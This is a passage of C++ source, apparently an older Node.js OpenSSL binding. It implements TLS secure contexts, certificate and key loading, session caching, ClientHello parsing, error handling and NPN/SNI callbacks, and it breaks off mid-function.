// Forcibly clear OpenSSL's error stack on return. This stops stale errors
// from popping up later in the lifecycle of crypto operations where they
// would cause spurious failures. It's a rather blunt method, though.
// ERR_clear_error() isn't necessarily cheap either.
struct ClearErrorOnReturn {
~ClearErrorOnReturn() { ERR_clear_error(); }
};
static Persistent<String> errno_symbol;
static Persistent<String> syscall_symbol;
static Persistent<String> subject_symbol;
static Persistent<String> subjectaltname_symbol;
static Persistent<String> modulus_symbol;
static Persistent<String> exponent_symbol;
static Persistent<String> issuer_symbol;
static Persistent<String> valid_from_symbol;
static Persistent<String> valid_to_symbol;
static Persistent<String> fingerprint_symbol;
static Persistent<String> name_symbol;
static Persistent<String> version_symbol;
static Persistent<String> ext_key_usage_symbol;
static Persistent<String> onhandshakestart_sym;
static Persistent<String> onhandshakedone_sym;
static Persistent<String> onclienthello_sym;
static Persistent<String> onnewsession_sym;
static Persistent<String> sessionid_sym;
static Persistent<FunctionTemplate> secure_context_constructor;
static uv_rwlock_t* locks;
static void crypto_threadid_cb(CRYPTO_THREADID* tid) {
CRYPTO_THREADID_set_numeric(tid, uv_thread_self());
}
static void crypto_lock_init(void) {
int i, n;
n = CRYPTO_num_locks();
locks = new uv_rwlock_t[n];
for (i = 0; i < n; i++)
if (uv_rwlock_init(locks + i))
abort();
}
static void crypto_lock_cb(int mode, int n, const char* file, int line) {
assert((mode & CRYPTO_LOCK) || (mode & CRYPTO_UNLOCK));
assert((mode & CRYPTO_READ) || (mode & CRYPTO_WRITE));
if (mode & CRYPTO_LOCK) {
if (mode & CRYPTO_READ)
uv_rwlock_rdlock(locks + n);
else
uv_rwlock_wrlock(locks + n);
} else {
if (mode & CRYPTO_READ)
uv_rwlock_rdunlock(locks + n);
else
uv_rwlock_wrunlock(locks + n);
}
}
Handle<Value> ThrowCryptoErrorHelper(unsigned long err, bool is_type_error) {
HandleScope scope(node_isolate);
char errmsg[128];
ERR_error_string_n(err, errmsg, sizeof(errmsg));
return is_type_error ? ThrowTypeError(errmsg) : ThrowError(errmsg);
}
Handle<Value> ThrowCryptoError(unsigned long err) {
return ThrowCryptoErrorHelper(err, false);
}
Handle<Value> ThrowCryptoTypeError(unsigned long err) {
return ThrowCryptoErrorHelper(err, true);
}
void SecureContext::Initialize(Handle<Object> target) {
HandleScope scope(node_isolate);
Local<FunctionTemplate> t = FunctionTemplate::New(SecureContext::New);
secure_context_constructor = Persistent<FunctionTemplate>::New(node_isolate,
t);
t->InstanceTemplate()->SetInternalFieldCount(1);
t->SetClassName(String::NewSymbol("SecureContext"));
NODE_SET_PROTOTYPE_METHOD(t, "init", SecureContext::Init);
NODE_SET_PROTOTYPE_METHOD(t, "setKey", SecureContext::SetKey);
NODE_SET_PROTOTYPE_METHOD(t, "setCert", SecureContext::SetCert);
NODE_SET_PROTOTYPE_METHOD(t, "addCACert", SecureContext::AddCACert);
NODE_SET_PROTOTYPE_METHOD(t, "addCRL", SecureContext::AddCRL);
NODE_SET_PROTOTYPE_METHOD(t, "addRootCerts", SecureContext::AddRootCerts);
NODE_SET_PROTOTYPE_METHOD(t, "setCiphers", SecureContext::SetCiphers);
NODE_SET_PROTOTYPE_METHOD(t, "setOptions", SecureContext::SetOptions);
NODE_SET_PROTOTYPE_METHOD(t, "setSessionIdContext",
SecureContext::SetSessionIdContext);
NODE_SET_PROTOTYPE_METHOD(t, "setSessionTimeout",
SecureContext::SetSessionTimeout);
NODE_SET_PROTOTYPE_METHOD(t, "close", SecureContext::Close);
NODE_SET_PROTOTYPE_METHOD(t, "loadPKCS12", SecureContext::LoadPKCS12);
target->Set(String::NewSymbol("SecureContext"), t->GetFunction());
}
Handle<Value> SecureContext::New(const Arguments& args) {
HandleScope scope(node_isolate);
SecureContext *p = new SecureContext();
p->Wrap(args.This());
return args.This();
}
Handle<Value> SecureContext::Init(const Arguments& args) {
HandleScope scope(node_isolate);
SecureContext *sc = ObjectWrap::Unwrap<SecureContext>(args.This());
OPENSSL_CONST SSL_METHOD *method = SSLv23_method();
if (args.Length() == 1 && args[0]->IsString()) {
String::Utf8Value sslmethod(args[0]);
if (strcmp(*sslmethod, "SSLv2_method") == 0) {
#ifndef OPENSSL_NO_SSL2
method = SSLv2_method();
#else
return ThrowException(Exception::Error(String::New("SSLv2 methods disabled")));
#endif
} else if (strcmp(*sslmethod, "SSLv2_server_method") == 0) {
#ifndef OPENSSL_NO_SSL2
method = SSLv2_server_method();
#else
return ThrowException(Exception::Error(String::New("SSLv2 methods disabled")));
#endif
} else if (strcmp(*sslmethod, "SSLv2_client_method") == 0) {
#ifndef OPENSSL_NO_SSL2
method = SSLv2_client_method();
#else
return ThrowException(Exception::Error(String::New("SSLv2 methods disabled")));
#endif
} else if (strcmp(*sslmethod, "SSLv3_method") == 0) {
method = SSLv3_method();
} else if (strcmp(*sslmethod, "SSLv3_server_method") == 0) {
method = SSLv3_server_method();
} else if (strcmp(*sslmethod, "SSLv3_client_method") == 0) {
method = SSLv3_client_method();
} else if (strcmp(*sslmethod, "SSLv23_method") == 0) {
method = SSLv23_method();
} else if (strcmp(*sslmethod, "SSLv23_server_method") == 0) {
method = SSLv23_server_method();
} else if (strcmp(*sslmethod, "SSLv23_client_method") == 0) {
method = SSLv23_client_method();
} else if (strcmp(*sslmethod, "TLSv1_method") == 0) {
method = TLSv1_method();
} else if (strcmp(*sslmethod, "TLSv1_server_method") == 0) {
method = TLSv1_server_method();
} else if (strcmp(*sslmethod, "TLSv1_client_method") == 0) {
method = TLSv1_client_method();
} else {
return ThrowException(Exception::Error(String::New("Unknown method")));
}
}
sc->ctx_ = SSL_CTX_new(method);
// SSL session cache configuration
SSL_CTX_set_session_cache_mode(sc->ctx_,
SSL_SESS_CACHE_SERVER |
SSL_SESS_CACHE_NO_INTERNAL |
SSL_SESS_CACHE_NO_AUTO_CLEAR);
SSL_CTX_sess_set_get_cb(sc->ctx_, GetSessionCallback);
SSL_CTX_sess_set_new_cb(sc->ctx_, NewSessionCallback);
sc->ca_store_ = NULL;
return True(node_isolate);
}
SSL_SESSION* SecureContext::GetSessionCallback(SSL* s,
unsigned char* key,
int len,
int* copy) {
HandleScope scope(node_isolate);
Connection* p = static_cast<Connection*>(SSL_get_app_data(s));
*copy = 0;
SSL_SESSION* sess = p->next_sess_;
p->next_sess_ = NULL;
return sess;
}
int SecureContext::NewSessionCallback(SSL* s, SSL_SESSION* sess) {
HandleScope scope(node_isolate);
Connection* p = static_cast<Connection*>(SSL_get_app_data(s));
// Check if session is small enough to be stored
int size = i2d_SSL_SESSION(sess, NULL);
if (size > kMaxSessionSize) return 0;
// Serialize session
char* serialized = new char[size];
unsigned char* pserialized = reinterpret_cast<unsigned char*>(serialized);
memset(serialized, 0, size);
i2d_SSL_SESSION(sess, &pserialized);
Handle<Value> argv[2] = {
Buffer::New(reinterpret_cast<char*>(sess->session_id),
sess->session_id_length),
Buffer::Use(serialized, size)
};
if (onnewsession_sym.IsEmpty()) {
onnewsession_sym = NODE_PSYMBOL("onnewsession");
}
MakeCallback(p->handle_, onnewsession_sym, ARRAY_SIZE(argv), argv);
return 0;
}
// Takes a string or buffer and loads it into a BIO.
// Caller responsible for BIO_free_all-ing the returned object.
static BIO* LoadBIO (Handle<Value> v) {
BIO *bio = BIO_new(NodeBIO::GetMethod());
if (!bio) return NULL;
HandleScope scope(node_isolate);
int r = -1;
if (v->IsString()) {
String::Utf8Value s(v);
r = BIO_write(bio, *s, s.length());
} else if (Buffer::HasInstance(v)) {
char* buffer_data = Buffer::Data(v);
size_t buffer_length = Buffer::Length(v);
r = BIO_write(bio, buffer_data, buffer_length);
}
if (r <= 0) {
BIO_free_all(bio);
return NULL;
}
return bio;
}
// Takes a string or buffer and loads it into an X509
// Caller responsible for X509_free-ing the returned object.
static X509* LoadX509 (Handle<Value> v) {
HandleScope scope(node_isolate); // necessary?
BIO *bio = LoadBIO(v);
if (!bio) return NULL;
X509 * x509 = PEM_read_bio_X509(bio, NULL, NULL, NULL);
if (!x509) {
BIO_free_all(bio);
return NULL;
}
BIO_free_all(bio);
return x509;
}
Handle<Value> SecureContext::SetKey(const Arguments& args) {
HandleScope scope(node_isolate);
SecureContext *sc = ObjectWrap::Unwrap<SecureContext>(args.This());
unsigned int len = args.Length();
if (len != 1 && len != 2) {
return ThrowException(Exception::TypeError(String::New("Bad parameter")));
}
if (len == 2 && !args[1]->IsString()) {
return ThrowException(Exception::TypeError(String::New("Bad parameter")));
}
BIO *bio = LoadBIO(args[0]);
if (!bio) return False(node_isolate);
String::Utf8Value passphrase(args[1]);
EVP_PKEY* key = PEM_read_bio_PrivateKey(bio, NULL, NULL,
len == 1 ? NULL : *passphrase);
if (!key) {
BIO_free_all(bio);
unsigned long err = ERR_get_error();
if (!err) {
return ThrowException(Exception::Error(
String::New("PEM_read_bio_PrivateKey")));
}
return ThrowCryptoError(err);
}
SSL_CTX_use_PrivateKey(sc->ctx_, key);
EVP_PKEY_free(key);
BIO_free_all(bio);
return True(node_isolate);
}
// Read a file that contains our certificate in "PEM" format,
// possibly followed by a sequence of CA certificates that should be
// sent to the peer in the Certificate message.
//
// Taken from OpenSSL - editted for style.
int SSL_CTX_use_certificate_chain(SSL_CTX *ctx, BIO *in) {
int ret = 0;
X509 *x = NULL;
x = PEM_read_bio_X509_AUX(in, NULL, NULL, NULL);
if (x == NULL) {
SSLerr(SSL_F_SSL_CTX_USE_CERTIFICATE_CHAIN_FILE, ERR_R_PEM_LIB);
goto end;
}
ret = SSL_CTX_use_certificate(ctx, x);
if (ERR_peek_error() != 0) {
// Key/certificate mismatch doesn't imply ret==0 ...
ret = 0;
}
if (ret) {
// If we could set up our certificate, now proceed to
// the CA certificates.
X509 *ca;
int r;
unsigned long err;
if (ctx->extra_certs != NULL) {
sk_X509_pop_free(ctx->extra_certs, X509_free);
ctx->extra_certs = NULL;
}
while ((ca = PEM_read_bio_X509(in, NULL, NULL, NULL))) {
r = SSL_CTX_add_extra_chain_cert(ctx, ca);
if (!r) {
X509_free(ca);
ret = 0;
goto end;
}
// Note that we must not free r if it was successfully
// added to the chain (while we must free the main
// certificate, since its reference count is increased
// by SSL_CTX_use_certificate).
}
// When the while loop ends, it's usually just EOF.
err = ERR_peek_last_error();
if (ERR_GET_LIB(err) == ERR_LIB_PEM &&
ERR_GET_REASON(err) == PEM_R_NO_START_LINE) {
ERR_clear_error();
} else {
// some real error
ret = 0;
}
}
end:
if (x != NULL) X509_free(x);
return ret;
}
Handle<Value> SecureContext::SetCert(const Arguments& args) {
HandleScope scope(node_isolate);
SecureContext *sc = ObjectWrap::Unwrap<SecureContext>(args.This());
if (args.Length() != 1) {
return ThrowException(Exception::TypeError(
String::New("Bad parameter")));
}
BIO* bio = LoadBIO(args[0]);
if (!bio) return False(node_isolate);
int rv = SSL_CTX_use_certificate_chain(sc->ctx_, bio);
BIO_free_all(bio);
if (!rv) {
unsigned long err = ERR_get_error();
if (!err) {
return ThrowException(Exception::Error(
String::New("SSL_CTX_use_certificate_chain")));
}
return ThrowCryptoError(err);
}
return True(node_isolate);
}
Handle<Value> SecureContext::AddCACert(const Arguments& args) {
bool newCAStore = false;
HandleScope scope(node_isolate);
SecureContext *sc = ObjectWrap::Unwrap<SecureContext>(args.This());
if (args.Length() != 1) {
return ThrowException(Exception::TypeError(String::New("Bad parameter")));
}
if (!sc->ca_store_) {
sc->ca_store_ = X509_STORE_new();
newCAStore = true;
}
X509* x509 = LoadX509(args[0]);
if (!x509) return False(node_isolate);
X509_STORE_add_cert(sc->ca_store_, x509);
SSL_CTX_add_client_CA(sc->ctx_, x509);
X509_free(x509);
if (newCAStore) {
SSL_CTX_set_cert_store(sc->ctx_, sc->ca_store_);
}
return True(node_isolate);
}
Handle<Value> SecureContext::AddCRL(const Arguments& args) {
HandleScope scope(node_isolate);
SecureContext *sc = ObjectWrap::Unwrap<SecureContext>(args.This());
if (args.Length() != 1) {
return ThrowException(Exception::TypeError(String::New("Bad parameter")));
}
ClearErrorOnReturn clear_error_on_return;
(void) &clear_error_on_return; // Silence compiler warning.
BIO *bio = LoadBIO(args[0]);
if (!bio) return False(node_isolate);
X509_CRL *x509 = PEM_read_bio_X509_CRL(bio, NULL, NULL, NULL);
if (x509 == NULL) {
BIO_free_all(bio);
return False(node_isolate);
}
X509_STORE_add_crl(sc->ca_store_, x509);
X509_STORE_set_flags(sc->ca_store_, X509_V_FLAG_CRL_CHECK |
X509_V_FLAG_CRL_CHECK_ALL);
BIO_free_all(bio);
X509_CRL_free(x509);
return True(node_isolate);
}
Handle<Value> SecureContext::AddRootCerts(const Arguments& args) {
HandleScope scope(node_isolate);
SecureContext *sc = ObjectWrap::Unwrap<SecureContext>(args.This());
assert(sc->ca_store_ == NULL);
if (!root_cert_store) {
root_cert_store = X509_STORE_new();
for (int i = 0; root_certs[i]; i++) {
BIO *bp = BIO_new(NodeBIO::GetMethod());
if (!BIO_write(bp, root_certs[i], strlen(root_certs[i]))) {
BIO_free_all(bp);
return False(node_isolate);
}
X509 *x509 = PEM_read_bio_X509(bp, NULL, NULL, NULL);
if (x509 == NULL) {
BIO_free_all(bp);
return False(node_isolate);
}
X509_STORE_add_cert(root_cert_store, x509);
BIO_free_all(bp);
X509_free(x509);
}
}
sc->ca_store_ = root_cert_store;
SSL_CTX_set_cert_store(sc->ctx_, sc->ca_store_);
return True(node_isolate);
}
Handle<Value> SecureContext::SetCiphers(const Arguments& args) {
HandleScope scope(node_isolate);
SecureContext *sc = ObjectWrap::Unwrap<SecureContext>(args.This());
if (args.Length() != 1 || !args[0]->IsString()) {
return ThrowException(Exception::TypeError(String::New("Bad parameter")));
}
String::Utf8Value ciphers(args[0]);
SSL_CTX_set_cipher_list(sc->ctx_, *ciphers);
return True(node_isolate);
}
Handle<Value> SecureContext::SetOptions(const Arguments& args) {
HandleScope scope(node_isolate);
SecureContext *sc = ObjectWrap::Unwrap<SecureContext>(args.This());
if (args.Length() != 1 || !args[0]->IntegerValue()) {
return ThrowException(Exception::TypeError(String::New("Bad parameter")));
}
SSL_CTX_set_options(sc->ctx_, args[0]->IntegerValue());
return True(node_isolate);
}
Handle<Value> SecureContext::SetSessionIdContext(const Arguments& args) {
HandleScope scope(node_isolate);
SecureContext *sc = ObjectWrap::Unwrap<SecureContext>(args.This());
if (args.Length() != 1 || !args[0]->IsString()) {
return ThrowException(Exception::TypeError(String::New("Bad parameter")));
}
String::Utf8Value sessionIdContext(args[0]);
const unsigned char* sid_ctx = (const unsigned char*) *sessionIdContext;
unsigned int sid_ctx_len = sessionIdContext.length();
int r = SSL_CTX_set_session_id_context(sc->ctx_, sid_ctx, sid_ctx_len);
if (r != 1) {
Local<String> message;
BIO* bio;
BUF_MEM* mem;
if ((bio = BIO_new(BIO_s_mem()))) {
ERR_print_errors(bio);
BIO_get_mem_ptr(bio, &mem);
message = String::New(mem->data, mem->length);
BIO_free_all(bio);
} else {
message = String::New("SSL_CTX_set_session_id_context error");
}
return ThrowException(Exception::TypeError(message));
}
return True(node_isolate);
}
Handle<Value> SecureContext::SetSessionTimeout(const Arguments& args) {
HandleScope scope(node_isolate);
SecureContext *sc = ObjectWrap::Unwrap<SecureContext>(args.This());
if (args.Length() != 1 || !args[0]->IsInt32()) {
return ThrowTypeError("Bad parameter");
}
int32_t sessionTimeout = args[0]->Int32Value();
SSL_CTX_set_timeout(sc->ctx_, sessionTimeout);
return True(node_isolate);
}
Handle<Value> SecureContext::Close(const Arguments& args) {
HandleScope scope(node_isolate);
SecureContext *sc = ObjectWrap::Unwrap<SecureContext>(args.This());
sc->FreeCTXMem();
return False(node_isolate);
}
//Takes .pfx or .p12 and password in string or buffer format
Handle<Value> SecureContext::LoadPKCS12(const Arguments& args) {
HandleScope scope(node_isolate);
BIO* in = NULL;
PKCS12* p12 = NULL;
EVP_PKEY* pkey = NULL;
X509* cert = NULL;
STACK_OF(X509)* extraCerts = NULL;
char* pass = NULL;
bool ret = false;
SecureContext *sc = ObjectWrap::Unwrap<SecureContext>(args.This());
if (args.Length() < 1) {
return ThrowException(Exception::TypeError(
String::New("Bad parameter")));
}
in = LoadBIO(args[0]);
if (in == NULL) {
return ThrowException(Exception::Error(
String::New("Unable to load BIO")));
}
if (args.Length() >= 2) {
ASSERT_IS_BUFFER(args[1]);
int passlen = Buffer::Length(args[1]);
if (passlen < 0) {
BIO_free_all(in);
return ThrowException(Exception::TypeError(
String::New("Bad password")));
}
pass = new char[passlen + 1];
int pass_written = DecodeWrite(pass, passlen, args[1], BINARY);
assert(pass_written == passlen);
pass[passlen] = '\0';
}
if (d2i_PKCS12_bio(in, &p12) &&
PKCS12_parse(p12, pass, &pkey, &cert, &extraCerts) &&
SSL_CTX_use_certificate(sc->ctx_, cert) &&
SSL_CTX_use_PrivateKey(sc->ctx_, pkey))
{
// set extra certs
while (X509* x509 = sk_X509_pop(extraCerts)) {
if (!sc->ca_store_) {
sc->ca_store_ = X509_STORE_new();
SSL_CTX_set_cert_store(sc->ctx_, sc->ca_store_);
}
X509_STORE_add_cert(sc->ca_store_, x509);
SSL_CTX_add_client_CA(sc->ctx_, x509);
}
EVP_PKEY_free(pkey);
X509_free(cert);
sk_X509_free(extraCerts);
ret = true;
}
PKCS12_free(p12);
BIO_free_all(in);
delete[] pass;
if (!ret) {
unsigned long err = ERR_get_error();
const char* str = ERR_reason_error_string(err);
return ThrowException(Exception::Error(String::New(str)));
}
return True(node_isolate);
}
size_t ClientHelloParser::Write(const uint8_t* data, size_t len) {
HandleScope scope(node_isolate);
// Just accumulate data, everything will be pushed to BIO later
if (state_ == kPaused) return 0;
// Copy incoming data to the internal buffer
// (which has a size of the biggest possible TLS frame)
size_t available = sizeof(data_) - offset_;
size_t copied = len < available ? len : available;
memcpy(data_ + offset_, data, copied);
offset_ += copied;
// Vars for parsing hello
bool is_clienthello = false;
uint8_t session_size = -1;
uint8_t* session_id = NULL;
Local<Object> hello;
Handle<Value> argv[1];
switch (state_) {
case kWaiting:
// >= 5 bytes for header parsing
if (offset_ < 5) break;
if (data_[0] == kChangeCipherSpec || data_[0] == kAlert ||
data_[0] == kHandshake || data_[0] == kApplicationData) {
frame_len_ = (data_[3] << 8) + data_[4];
state_ = kTLSHeader;
body_offset_ = 5;
} else {
frame_len_ = (data_[0] << 8) + data_[1];
state_ = kSSLHeader;
if (*data_ & 0x40) {
// header with padding
body_offset_ = 3;
} else {
// without padding
body_offset_ = 2;
}
}
// Sanity check (too big frame, or too small)
if (frame_len_ >= sizeof(data_)) {
// Let OpenSSL handle it
Finish();
return copied;
}
case kTLSHeader:
case kSSLHeader:
// >= 5 + frame size bytes for frame parsing
if (offset_ < body_offset_ + frame_len_) break;
// Skip unsupported frames and gather some data from frame
// TODO: Check protocol version
if (data_[body_offset_] == kClientHello) {
is_clienthello = true;
uint8_t* body;
size_t session_offset;
if (state_ == kTLSHeader) {
// Skip frame header, hello header, protocol version and random data
session_offset = body_offset_ + 4 + 2 + 32;
if (session_offset + 1 < offset_) {
body = data_ + session_offset;
session_size = *body;
session_id = body + 1;
}
} else if (state_ == kSSLHeader) {
// Skip header, version
session_offset = body_offset_ + 3;
if (session_offset + 4 < offset_) {
body = data_ + session_offset;
int ciphers_size = (body[0] << 8) + body[1];
if (body + 4 + ciphers_size < data_ + offset_) {
session_size = (body[2] << 8) + body[3];
session_id = body + 4 + ciphers_size;
}
}
} else {
// Whoa? How did we get here?
abort();
}
// Check if we overflowed (do not reply with any private data)
if (session_id == NULL ||
session_size > 32 ||
session_id + session_size > data_ + offset_) {
Finish();
return copied;
}
// TODO: Parse other things?
}
// Not client hello - let OpenSSL handle it
if (!is_clienthello) {
Finish();
return copied;
}
// Parse frame, call javascript handler and
// move parser into the paused state
if (onclienthello_sym.IsEmpty()) {
onclienthello_sym = NODE_PSYMBOL("onclienthello");
}
if (sessionid_sym.IsEmpty()) {
sessionid_sym = NODE_PSYMBOL("sessionId");
}
state_ = kPaused;
hello = Object::New();
hello->Set(sessionid_sym,
Buffer::New(reinterpret_cast<char*>(session_id),
session_size));
argv[0] = hello;
MakeCallback(conn_->handle_, onclienthello_sym, 1, argv);
break;
case kEnded:
default:
break;
}
return copied;
}
void ClientHelloParser::Finish() {
assert(state_ != kEnded);
state_ = kEnded;
// Write all accumulated data
int r = BIO_write(conn_->bio_read_, reinterpret_cast<char*>(data_), offset_);
conn_->HandleBIOError(conn_->bio_read_, "BIO_write", r);
conn_->SetShutdownFlags();
}
#ifdef SSL_PRINT_DEBUG
# define DEBUG_PRINT(...) fprintf (stderr, __VA_ARGS__)
#else
# define DEBUG_PRINT(...)
#endif
int Connection::HandleBIOError(BIO *bio, const char* func, int rv) {
if (rv >= 0) return rv;
int retry = BIO_should_retry(bio);
(void) retry; // unused if !defined(SSL_PRINT_DEBUG)
if (BIO_should_write(bio)) {
DEBUG_PRINT("[%p] BIO: %s want write. should retry %d\n", ssl_, func, retry);
return 0;
} else if (BIO_should_read(bio)) {
DEBUG_PRINT("[%p] BIO: %s want read. should retry %d\n", ssl_, func, retry);
return 0;
} else {
static char ssl_error_buf[512];
ERR_error_string_n(rv, ssl_error_buf, sizeof(ssl_error_buf));
HandleScope scope(node_isolate);
Local<Value> e = Exception::Error(String::New(ssl_error_buf));
handle_->Set(String::New("error"), e);
DEBUG_PRINT("[%p] BIO: %s failed: (%d) %s\n", ssl_, func, rv, ssl_error_buf);
return rv;
}
return 0;
}
int Connection::HandleSSLError(const char* func,
int rv,
ZeroStatus zs,
SyscallStatus ss) {
ClearErrorOnReturn clear_error_on_return;
(void) &clear_error_on_return; // Silence unused variable warning.
if (rv > 0) return rv;
if ((rv == 0) && (zs == kZeroIsNotAnError)) return rv;
int err = SSL_get_error(ssl_, rv);
if (err == SSL_ERROR_NONE) {
return 0;
} else if (err == SSL_ERROR_WANT_WRITE) {
DEBUG_PRINT("[%p] SSL: %s want write\n", ssl_, func);
return 0;
} else if (err == SSL_ERROR_WANT_READ) {
DEBUG_PRINT("[%p] SSL: %s want read\n", ssl_, func);
return 0;
} else if (err == SSL_ERROR_ZERO_RETURN) {
handle_->Set(String::New("error"),
Exception::Error(String::New("ZERO_RETURN")));
return rv;
} else if ((err == SSL_ERROR_SYSCALL) && (ss == kIgnoreSyscall)) {
return 0;
} else {
HandleScope scope(node_isolate);
BUF_MEM* mem;
BIO *bio;
assert(err == SSL_ERROR_SSL || err == SSL_ERROR_SYSCALL);
// XXX We need to drain the error queue for this thread or else OpenSSL
// has the possibility of blocking connections? This problem is not well
// understood. And we should be somehow propagating these errors up
// into JavaScript. There is no test which demonstrates this problem.
// https://github.com/joyent/node/issues/1719
if ((bio = BIO_new(BIO_s_mem()))) {
ERR_print_errors(bio);
BIO_get_mem_ptr(bio, &mem);
Local<Value> e = Exception::Error(String::New(mem->data, mem->length));
handle_->Set(String::New("error"), e);
BIO_free_all(bio);
}
return rv;
}
return 0;
}
void Connection::ClearError() {
#ifndef NDEBUG
HandleScope scope(node_isolate);
// We should clear the error in JS-land
assert(handle_->Get(String::New("error"))->BooleanValue() == false);
#endif // NDEBUG
}
void Connection::SetShutdownFlags() {
HandleScope scope(node_isolate);
int flags = SSL_get_shutdown(ssl_);
if (flags & SSL_SENT_SHUTDOWN) {
handle_->Set(String::New("sentShutdown"), True(node_isolate));
}
if (flags & SSL_RECEIVED_SHUTDOWN) {
handle_->Set(String::New("receivedShutdown"), True(node_isolate));
}
}
void Connection::Initialize(Handle<Object> target) {
HandleScope scope(node_isolate);
Local<FunctionTemplate> t = FunctionTemplate::New(Connection::New);
t->InstanceTemplate()->SetInternalFieldCount(1);
t->SetClassName(String::NewSymbol("Connection"));
NODE_SET_PROTOTYPE_METHOD(t, "encIn", Connection::EncIn);
NODE_SET_PROTOTYPE_METHOD(t, "clearOut", Connection::ClearOut);
NODE_SET_PROTOTYPE_METHOD(t, "clearIn", Connection::ClearIn);
NODE_SET_PROTOTYPE_METHOD(t, "encOut", Connection::EncOut);
NODE_SET_PROTOTYPE_METHOD(t, "clearPending", Connection::ClearPending);
NODE_SET_PROTOTYPE_METHOD(t, "encPending", Connection::EncPending);
NODE_SET_PROTOTYPE_METHOD(t, "getPeerCertificate", Connection::GetPeerCertificate);
NODE_SET_PROTOTYPE_METHOD(t, "getSession", Connection::GetSession);
NODE_SET_PROTOTYPE_METHOD(t, "setSession", Connection::SetSession);
NODE_SET_PROTOTYPE_METHOD(t, "loadSession", Connection::LoadSession);
NODE_SET_PROTOTYPE_METHOD(t, "isSessionReused", Connection::IsSessionReused);
NODE_SET_PROTOTYPE_METHOD(t, "isInitFinished", Connection::IsInitFinished);
NODE_SET_PROTOTYPE_METHOD(t, "verifyError", Connection::VerifyError);
NODE_SET_PROTOTYPE_METHOD(t, "getCurrentCipher", Connection::GetCurrentCipher);
NODE_SET_PROTOTYPE_METHOD(t, "start", Connection::Start);
NODE_SET_PROTOTYPE_METHOD(t, "shutdown", Connection::Shutdown);
NODE_SET_PROTOTYPE_METHOD(t, "receivedShutdown", Connection::ReceivedShutdown);
NODE_SET_PROTOTYPE_METHOD(t, "close", Connection::Close);
#ifdef OPENSSL_NPN_NEGOTIATED
NODE_SET_PROTOTYPE_METHOD(t, "getNegotiatedProtocol", Connection::GetNegotiatedProto);
NODE_SET_PROTOTYPE_METHOD(t, "setNPNProtocols", Connection::SetNPNProtocols);
#endif
#ifdef SSL_CTRL_SET_TLSEXT_SERVERNAME_CB
NODE_SET_PROTOTYPE_METHOD(t, "getServername", Connection::GetServername);
NODE_SET_PROTOTYPE_METHOD(t, "setSNICallback", Connection::SetSNICallback);
#endif
target->Set(String::NewSymbol("Connection"), t->GetFunction());
}
static int VerifyCallback(int preverify_ok, X509_STORE_CTX *ctx) {
// Quoting SSL_set_verify(3ssl):
//
// The VerifyCallback function is used to control the behaviour when
// the SSL_VERIFY_PEER flag is set. It must be supplied by the
// application and receives two arguments: preverify_ok indicates,
// whether the verification of the certificate in question was passed
// (preverify_ok=1) or not (preverify_ok=0). x509_ctx is a pointer to
// the complete context used for the certificate chain verification.
//
// The certificate chain is checked starting with the deepest nesting
// level (the root CA certificate) and worked upward to the peer's
// certificate. At each level signatures and issuer attributes are
// checked. Whenever a verification error is found, the error number is
// stored in x509_ctx and VerifyCallback is called with preverify_ok=0.
// By applying X509_CTX_store_* functions VerifyCallback can locate the
// certificate in question and perform additional steps (see EXAMPLES).
// If no error is found for a certificate, VerifyCallback is called
// with preverify_ok=1 before advancing to the next level.
//
// The return value of VerifyCallback controls the strategy of the
// further verification process. If VerifyCallback returns 0, the
// verification process is immediately stopped with "verification
// failed" state. If SSL_VERIFY_PEER is set, a verification failure
// alert is sent to the peer and the TLS/SSL handshake is terminated. If
// VerifyCallback returns 1, the verification process is continued. If
// VerifyCallback always returns 1, the TLS/SSL handshake will not be
// terminated with respect to verification failures and the connection
// will be established. The calling process can however retrieve the
// error code of the last verification error using
// SSL_get_verify_result(3) or by maintaining its own error storage
// managed by VerifyCallback.
//
// If no VerifyCallback is specified, the default callback will be
// used. Its return value is identical to preverify_ok, so that any
// verification failure will lead to a termination of the TLS/SSL
// handshake with an alert message, if SSL_VERIFY_PEER is set.
//
// Since we cannot perform I/O quickly enough in this callback, we ignore
// all preverify_ok errors and let the handshake continue. It is
// imparative that the user use Connection::VerifyError after the
// 'secure' callback has been made.
return 1;
}
#ifdef OPENSSL_NPN_NEGOTIATED
int Connection::AdvertiseNextProtoCallback_(SSL *s,
const unsigned char** data,
unsigned int *len,
void *arg) {
Connection *p = static_cast<Connection*>(SSL_get_app_data(s));
if (p->npnProtos_.IsEmpty()) {
// No initialization - no NPN protocols
*data = reinterpret_cast<const unsigned char*>("");
*len = 0;
} else {
*data = reinterpret_cast<const unsigned char*>(Buffer::Data(p->npnProtos_));
*len = Buffer::Length(p->npnProtos_);
}
return SSL_TLSEXT_ERR_OK;
}
int Connection::SelectNextProtoCallback_(SSL *s,
unsigned char** out, unsigned char* outlen,
const unsigned char* in,
unsigned int inlen, void *arg) {
Connection *p = static_cast<Connection*> SSL_get_app_data(s);
// Release old protocol handler if present
if (!p->selectedNPNProto_.IsEmpty()) {
p->selectedNPNProto_.Dispose(node_isolate);
}
if (p->npnProtos_.IsEmpty()) {
// We should at least select one protocol
// If server is using NPN
*out = reinterpret_cast<unsigned char*>(const_cast<char*>("http/1.1"));
*outlen = 8;
// set status unsupported
p->selectedNPNProto_ = Persistent<Value>::New(node_isolate,
False(node_isolate));
return SSL_TLSEXT_ERR_OK;
}
const unsigned char* npnProtos =
reinterpret_cast<const unsigned char*>(Buffer::Data(p->npnProtos_));
int status = SSL_select_next_proto(out, outlen, in, inlen, npnProtos,
Buffer::Length(p->npnProtos_));
switch (status) {
case OPENSSL_NPN_UNSUPPORTED:
p->selectedNPNProto_ = Persistent<Value>::New(node_isolate,
Null(node_isolate));
break;
case OPENSSL_NPN_NEGOTIATED:
p->selectedNPNProto_ = Persistent<Value>::New(node_isolate, String::New(
reinterpret_cast<const char*>(*out), *outlen
));
break;
case OPENSSL_NPN_NO_OVERLAP:
p->selectedNPNProto_ = Persistent<Value>::New(node_isolate,
False(node_isolate));
break;
default:
break;
}
return SSL_TLSEXT_ERR_OK;
}
#endif
#ifdef SSL_CTRL_SET_TLSEXT_SERVERNAME_CB
int Connection::SelectSNIContextCallback_(SSL *s, int *ad, void* arg) {
HandleScope scope(node_isolate);
Connection *p = static_cast<Connection*> SSL_get_app_data(s);
const char* servername = SSL_get_servername(s, TLSEXT_NAMETYPE_host_name);
if (servername) {
if (!p->servername_.IsEmpty()) {
p->servername_.Dispose(node_isolate);
}
p->servername_ = Persistent<String>::New(node_isolate,
String::New(servername));
// Call the SNI callback and use its return value as context
if (!p->sniObject_.IsEmpty()) {
if (!p->sniContext_.IsEmpty()) {
